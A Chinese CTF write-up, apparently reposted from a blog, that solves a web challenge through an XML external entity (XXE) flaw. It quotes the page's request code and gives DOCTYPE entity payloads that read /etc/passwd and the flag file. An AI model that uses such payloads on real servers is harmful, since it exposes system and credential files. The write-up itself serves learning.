先记录一道题
输入框中输入的内容会被显示到上面的区域中。查看后台源码,有这样的一个片段
function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; } function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send(‘{"search":"‘+evil_input+‘","value":"own"}‘); }
传入一个json形式的数组
传入json以后发现只是几个特定的值被记录下来。这里用到的就XXE漏洞
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
<?xml version="1.0" ?> <user> <username>admin</username> <password>pass</password> <age>age</age> </user>
有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE rr[ <!ENTITY entityex SYSTEM "file:///etc/passwd"> ]> <abc>&entityex;</abc>
这里的entityex即我们引用的外部实体,在内容中又引用了SYSTEM,在服务器解析xml的时候就会触发SYSTME 进而执行file:///etc/passwd
找到了一个可以说明这个问题的实例:
点击下方的forget pwd,抓包。
查看返回包
引用xml实体,构造如下语句。
语句成功被解析。
在这道题中我们首先要将content-type改为application/xml 这样即可以识别xml结构。
根据上述特点构造
<?xml version="1.0" ?> <!DOCTYPE hsy[ <!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]> <something>&any;</something>
得到flag
原文地址:https://www.cnblogs.com/sylover/p/10924269.html
时间: 2024-10-09 04:28:59